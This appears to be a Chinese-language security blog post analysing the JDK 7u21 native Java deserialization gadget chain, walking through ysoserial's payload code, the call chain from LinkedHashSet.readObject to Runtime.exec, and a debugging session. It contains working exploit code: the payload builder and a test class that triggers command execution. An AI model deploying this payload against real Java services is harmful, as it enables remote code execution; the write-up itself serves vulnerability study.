Java安全之Jdk7u21链分析
2022-06-17 23:47:06 # Java安全

前言

前面的cc链都是第三方组件的利用链,现在学习下JDK7u21的原生反序列化链。

影响版本

JDK7u21这个版本以及之前时间发布的所有Java版本都有问题。

image-20220618000915777

利用链分析

引入javassist,下面用到javassist就是为了方便生成恶意类的字节码,而且版本要低一些,高版本不兼容jdk7,只能用jdk8及其更高版本。

1
2
3
4
5
6
7
8
9
10
11
12
13
<properties>
<maven.compiler.source>7</maven.compiler.source>
<maven.compiler.target>7</maven.compiler.target>
</properties>

<dependencies>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.20.0-GA</version>
</dependency>
</dependencies>

7u21这条链核心就在于AnnotationInvocationHandler这个类。联想到CC1的时候第一次接触它,这个类有两种利用思路,一种是利用它的readObject(),另一种就是利用它的invoke(),因为AnnotationInvocationHandler是一个实现了InvocationHandler接口的类,可以应用于动态代理中。

看下yso中给出的调用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
LinkedHashSet.readObject()
LinkedHashSet.add()
...
TemplatesImpl.hashCode() (X)
LinkedHashSet.add()
...
Proxy(Templates).hashCode() (X)
AnnotationInvocationHandler.invoke() (X)
AnnotationInvocationHandler.hashCodeImpl() (X)
String.hashCode() (0)
AnnotationInvocationHandler.memberValueHashCode() (X)
TemplatesImpl.hashCode() (X)
Proxy(Templates).equals()
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.equalsImpl()
Method.invoke()
...
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
ClassLoader.defineClass()
Class.newInstance()
...
MaliciousClass.<clinit>()
...
Runtime.exec()

看下yso中的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);

String zeroHashCodeStr = "f5a5a608";

HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");

InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates);
set.add(proxy);

Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);

map.put(zeroHashCodeStr, templates); // swap in real object

return set;
}

首先是

1
final Object templates = Gadgets.createTemplatesImpl(command);

进到方法中

image-20220618173503107

最后调用了它的重载方法,方法中,首先对传入的TemplatesImpl进行了实例化,然后用javassist动态创建了一个恶意类

image-20220618173821584

最后这段代码使用了Reflections.setFieldValuetemplates里面的_bytecodes设置为前面动态创建的类的字节码。

image-20220618180929673

setFieldValue()是通过反射去实现的

image-20220618181513584

继续往下看

image-20220618182654963

查看一下Reflections.getFirstCtor方法,内部就是使用反射创建一个无参构造的对象

image-20220618182811857

传递的name就是AnnotationInvocationHandler

image-20220618182952209

Reflections.getFirstCtor方法返回AnnotationInvocationHandler对象,然后调用newInstance实例化该对象,传入构造方法中的参数是Override.classmap,这个在cc链学习的时候页接触到过这种传参方式。

下面这段代码和之前一样通过反射将tempHandler里面的type的变量改成Templates.class

1
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

再来看到下一段代码,跟进一下Gadgets.createProxy方法,主要就最后一行,使用了Templates去做动态代理

image-20220618184148200

等价于下面的代码

1
2
3
4
5
6
7
8
Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);

InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);
Templates templates=(Templates)Proxy.newProxyInstance(Templates.class.getClassLoader(),Templates.class.getInterfaces(),invocationHandler);
Object object=constructor.newInstance(Override.class,templates);

接着往下看

image-20220618192148678

实例化一个LinkedHashSet对象,并将templatesproxy添加进去。

调试分析

先编写一个测试类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package ysoserial;

import ysoserial.payloads.Jdk7u21;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class Test {
public static void main(String[] args) throws Exception {
Object calc = new Jdk7u21().getObject("calc");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.ser"));
objectOutputStream.writeObject(calc);
System.out.println("序列化输出----");
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.ser"));
Object o = objectInputStream.readObject();
}
}

成功触发

image-20220618192948825

接下来分析下该利用链的具体调用过程,根据yso返回的是LinkedHashSet实例化对象,所以反序列化时先会调用LinkedHashSet#readObject()方法。

可以看到并没有readObject()方法

image-20220618194946775

查看下父类,发现继承了HashSet

image-20220618195103571

那么会调用HashSet#readObject()方法,在里面打个断点,这里调用了map.put()方法,跟进一下

image-20220618202844266

发现调用的是HashMap#put()方法,这里有个for循环,因为table数组是空的所以并不会进入循环中,下面会调用addEntry,将这几个值添加进去,hash的值为hash方法处理TemplatesImpl的值,key为TemplatesImpl的实例对象,value则是一个空的Object对象,i参数为indexFor方法处理hash后的结果。

image-20220618203843843

返回之后,继续调用put方法

image-20220618204410352

此时table中有了值,所以进入for循环

image-20220618204600793

这里的key为代理类,代理类执行方法时,会触发AnnotationInvocationHandlerinvoke方法执行

image-20220618204744027

这里通过if判断后,会调用equalsImpl()方法

image-20220618205444743

进入方法中,可以看到这里会通过反射调用 var1 对象的 var5 方法,此时var1TemplatesImplvar5是名为newTransformerMethod对象

image-20220618211236270

那么这里是怎么获取var5的呢,可以看到上面通过getMemberMethods()方法拿到Method类类型的数组,跟进这个方法看一下。通过反射拿到this.type对象的方法,这里的type为templates对象

image-20220618211429288

这里返回了两个方法

image-20220618221118759

然后拿到这两个方法之后,就会进入for循环,通过var8 = var5.invoke(var1);分别通过反射调用这两个方法,var1就是TemplatesImpl的实例对象。也就是说会调用TemplatesImpl#getOutputProperties()方法,后面的调用步骤和走之前CC链利用TemplatesImpl构造恶意类的调用时一样的。

image-20220618212153754

往下就是之前TemplatesImpl的调用链了,getOutputProperties方法会去调用newTransformer方法,newTransformer又会去调用getTransletInstance方法。

image-20220618212438318

参考

https://www.cnblogs.com/nice0e3/p/14026849.html